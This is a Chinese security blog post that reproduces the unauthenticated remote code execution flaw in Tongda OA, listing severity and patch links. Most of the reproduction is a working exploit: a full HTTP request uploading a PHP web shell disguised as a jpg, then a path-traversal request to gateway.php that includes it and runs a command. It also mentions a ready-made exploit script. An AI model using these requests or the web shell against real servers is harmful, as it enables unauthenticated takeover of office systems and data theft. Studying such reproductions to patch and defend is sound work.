通达OA命令执行漏洞复现
目录
漏洞描述
漏洞等级
漏洞影响版本
修复建议
漏洞复现
通达OA是北京通达信科科技有限公司出品的 "Office Anywhere 通达网络智能办公系统"。
3月13日,通达OA在官方论坛发布通告称,近日接到用户反馈遭到勒索病毒攻击,提示用户注意安全风险,并且于同一天对所有版本发布了加固补丁。
在受影响的版本中,攻击者可以在未认证的情况下向服务器上传jpg图片文件,然后包含该文件,造成远程代码执行。该漏洞无需登录即可触发。
高危
版本 | 更新包下载地址 |
---|---|
V11版 | http://cdndown.tongda2000.com/oa/security/2020_A1.11.3.exe |
2017版 | http://cdndown.tongda2000.com/oa/security/2020_A1.10.19.exe |
2016版 | http://cdndown.tongda2000.com/oa/security/2020_A1.9.13.exe |
2015版 | http://cdndown.tongda2000.com/oa/security/2020_A1.8.15.exe |
2013增强版 | http://cdndown.tongda2000.com/oa/security/2020_A1.7.25.exe |
2013版 | http://cdndown.tongda2000.com/oa/security/2020_A1.6.20.exe |
首先下载安装包安装环境,安装包地址,关注微信公众号:xie_sec ,回复:通达OA 即可获得下载链接。
安装好漏洞环境后,访问目标网站。默认账号:admin 密码为空
◣脚本复现
首先用脚本复现,直接命令执行即可。
python3 tongda_rce.py 目标URL
◣手工复现
手工抓包验证,该漏洞存在于以下两个链接中,并且以下链接无需认证即可访问。
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.10.130
Content-Length: 656
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
上传成功后,我们看到服务器端返回的数据。接下来下一步我们需要包含的文件名就是 2003/89512385.jpg
然后访问 /ispirit/interface/gateway.php 链接,POST数据包如下
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.10.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-Forwarded-For: 127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
json={"url":"../../../general/../attach/im/2003/89512385.jpg"}&cmd=ipconfig
责编:vivian
来源:谢公子博客